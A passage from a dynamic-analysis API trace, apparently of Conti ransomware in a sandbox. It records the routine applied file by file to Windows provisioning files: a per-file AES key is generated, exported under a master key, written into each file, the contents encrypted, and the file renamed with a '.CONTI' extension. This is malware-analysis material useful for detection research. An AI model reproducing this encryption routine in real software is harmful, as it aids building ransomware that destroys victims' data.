	[0108.512] CryptEncrypt (in: hKey=0x17c7e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2cd, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0108.512] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.512] WriteFile (in: hFile=0x39c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.512] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.512] WriteFile (in: hFile=0x39c, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0108.512] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.512] CloseHandle (hObject=0x39c) returned 1
	[0108.514] GetProcessHeap () returned 0x1720000
	[0108.514] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b4c030
	[0108.514] lstrcpyW (in: lpString1=0x6b4c030, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml"
	[0108.514] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.514] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.553] GetProcessHeap () returned 0x1720000
	[0108.553] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b4c030 | out: hHeap=0x1720000) returned 1
	[0108.555] CryptDestroyKey (hKey=0x17c7e30) returned 1
	[0108.555] GetProcessHeap () returned 0x1720000
	[0108.555] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181dde0 | out: hHeap=0x1720000) returned 1
	[0108.555] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0108.555] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6513090 | out: phKey=0x6513090*=0x17c7670) returned 1
	[0108.555] CryptExportKey (in: hKey=0x17c7670, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513094, pdwDataLen=0x3cffb14 | out: pbData=0x6513094*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0108.556] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.556] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0108.557] GetLastError () returned 0x0
	[0108.557] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=863) returned 1
	[0108.557] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35f
	[0108.557] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.557] SetEndOfFile (hFile=0x39c) returned 1
	[0108.557] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.557] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.557] WriteFile (in: hFile=0x39c, lpBuffer=0x6513094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6513094*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0108.564] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.564] ReadFile (in: hFile=0x39c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x35f, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x35f, lpOverlapped=0x0) returned 1
	[0108.564] CryptEncrypt (in: hKey=0x17c7670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x35f, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x360) returned 1
	[0108.564] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.565] WriteFile (in: hFile=0x39c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x360, lpOverlapped=0x0) returned 1
	[0108.565] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.565] WriteFile (in: hFile=0x39c, lpBuffer=0x6513088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6513088*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0108.565] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.565] CloseHandle (hObject=0x39c) returned 1
	[0108.565] GetProcessHeap () returned 0x1720000
	[0108.565] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.565] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml"
	[0108.565] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.565] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.566] GetProcessHeap () returned 0x1720000
	[0108.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.566] CryptDestroyKey (hKey=0x17c7670) returned 1
	[0108.566] GetProcessHeap () returned 0x1720000
	[0108.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181db30 | out: hHeap=0x1720000) returned 1
	[0108.566] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0108.972] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6512528 | out: phKey=0x6512528*=0x17c79b0) returned 1
	[0108.973] CryptExportKey (in: hKey=0x17c79b0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x651252c, pdwDataLen=0x3cffb14 | out: pbData=0x651252c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0108.973] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.171] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0110.171] GetLastError () returned 0x0
	[0110.171] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=740) returned 1
	[0110.171] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e4
	[0110.171] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.171] SetEndOfFile (hFile=0x3fc) returned 1
	[0110.442] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.442] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.442] WriteFile (in: hFile=0x3fc, lpBuffer=0x651252c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x651252c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.455] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.455] ReadFile (in: hFile=0x3fc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2e4, lpOverlapped=0x0) returned 1
	[0110.456] CryptEncrypt (in: hKey=0x17c79b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2e4, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2f0) returned 1
	[0110.456] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.456] WriteFile (in: hFile=0x3fc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2f0, lpOverlapped=0x0) returned 1
	[0110.456] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.456] WriteFile (in: hFile=0x3fc, lpBuffer=0x6512520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6512520*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0110.456] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.456] CloseHandle (hObject=0x3fc) returned 1
	[0110.456] GetProcessHeap () returned 0x1720000
	[0110.456] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.959] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml"
	[0110.959] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.959] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.960] GetProcessHeap () returned 0x1720000
	[0110.960] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.960] CryptDestroyKey (hKey=0x17c79b0) returned 1
	[0110.960] GetProcessHeap () returned 0x1720000
	[0110.960] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589100 | out: hHeap=0x1720000) returned 1
	[0110.960] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0110.960] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x656f850 | out: phKey=0x656f850*=0x17c7870) returned 1
	[0110.960] CryptExportKey (in: hKey=0x17c7870, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x656f854, pdwDataLen=0x3cffb14 | out: pbData=0x656f854*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0110.961] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0110.961] GetLastError () returned 0x0
	[0110.961] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=892) returned 1
	[0110.961] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37c
	[0110.961] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.961] SetEndOfFile (hFile=0x3f4) returned 1
	[0110.962] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.962] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.962] WriteFile (in: hFile=0x3f4, lpBuffer=0x656f854*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x656f854*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.279] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.279] ReadFile (in: hFile=0x3f4, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x37c, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x37c, lpOverlapped=0x0) returned 1
	[0111.279] CryptEncrypt (in: hKey=0x17c7870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x37c, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x380) returned 1
	[0111.279] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.279] WriteFile (in: hFile=0x3f4, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x380, lpOverlapped=0x0) returned 1
	[0111.279] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.279] WriteFile (in: hFile=0x3f4, lpBuffer=0x656f848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x656f848*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0111.279] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.279] CloseHandle (hObject=0x3f4) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b6b4e8
	[0112.549] lstrcpyW (in: lpString1=0x6b6b4e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml"
	[0112.549] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.549] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.835] GetProcessHeap () returned 0x1720000
	[0112.835] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b6b4e8 | out: hHeap=0x1720000) returned 1
	[0113.234] CryptDestroyKey (hKey=0x17c7870) returned 1
	[0113.234] GetProcessHeap () returned 0x1720000
	[0113.234] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589b40 | out: hHeap=0x1720000) returned 1
	[0113.234] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0113.234] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65b62a0 | out: phKey=0x65b62a0*=0x17c7c70) returned 1
